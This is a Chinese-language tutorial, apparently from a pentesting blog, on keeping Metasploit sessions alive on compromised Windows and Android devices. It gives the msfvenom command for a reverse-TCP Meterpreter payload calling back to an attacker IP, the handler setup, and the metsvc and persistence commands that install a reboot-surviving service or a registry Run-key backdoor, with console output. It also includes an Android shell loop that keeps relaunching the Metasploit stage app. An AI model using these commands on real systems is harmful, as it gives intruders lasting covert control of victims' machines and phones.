持久化
在msf生成的shell中,无论是是android
还是windows
在关闭软件或者设备重启后,我们的会话进程都会自然而然的关闭。要想得到会话,必须用户再次启动我们的shell才能得到会话。那么,我们该如何解决这一问题呢?
msf/Windows持久化
1、metsvc:通过服务启动,是 Meterpreter 下的一个脚本;
运行 run metsvc 将会在目标主机上以 Meterpreter 的服务的形式注册在服务列表中,并开机自动自动;
运行 run metsvc -r 卸载目标主机上的 Meterpreter 服务;
原理:设置的后门在目标机启动后会自动开启一个服务,等待连接;这个有点正向代理的意思,自己开个端口等待接入控制;
优点:命令简单,不必设置太多参数,即不需要设置反弹到的主机IP、端口等,直接 run metsvc -A;
缺点:如何其他人知道服务器的ip,都可以利用这个后门开启的服务来控制服务器【扫描器发现】;
2、persistence:通过启动项启动,也是 Meterpreter 下的一个脚本;
移除后门:删除注册表中的值和上传的 VBScript 文件,具体位置执行脚本后有提示。
原理:有点反向代理的意思;
优点:由于是主动献殷勤,目标机器上的防火墙对于此等操作一般均会放行,后门的存活率较高;
环境介绍
- vps(msf端口)
win10 (受害者)
生成shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.100 LPORT=4444 -f exe > ~/root/bbskali.exe
配置msf
msf exploit(handler) > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.43.100 lhost => 192.168.43.100 msf exploit(handler) > exploit
metsvc利用
meterpreter > run metsvc [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...] [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\Users\Go0s\AppData\Local\Temp\HLDIkkGKSJ... [*] >> Uploading metsrv.x86.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... Cannot open service manager (0x00000005)
拿到 Meterpreter 会话,重新执行 run metsvc -A即可。
移除服务
meterpreter > run metsvc -r
利用 persistence
meterpreter > run persistence -U -i 10 -p 4444 -r 192.168.43.100
重启目标机,仍然上线。
其脚本主要做的工作:
①、上传后门到目标机器【meterpreter的upload命令】;
②、再写自启动注册表【reg】;
移除
根据执行脚本时提示的vbs文件和注册表位置,进行删除后门;
Executing script C:\Users\Go0s\AppData\Local\Temp\SAaYfc.vbs
Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\irZnsVkfdRUZIB
android持久
首先,我们生成android shell 并运行。如图,我们成功得到会话。
利用cd
命令,切换到手机的根目录。
这里以小米手机为例:cd /storage/emulated/0
在此目录下,我们新建一个shell.sh
文件,写入内容如下:
新建命令:edit shell.sh
内容:
#!/bin/
while true
do am start –user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
输入:wq
保存即可。
在终端执行shell
--sh shell.sh
这样,我们就能得到持久的会话了!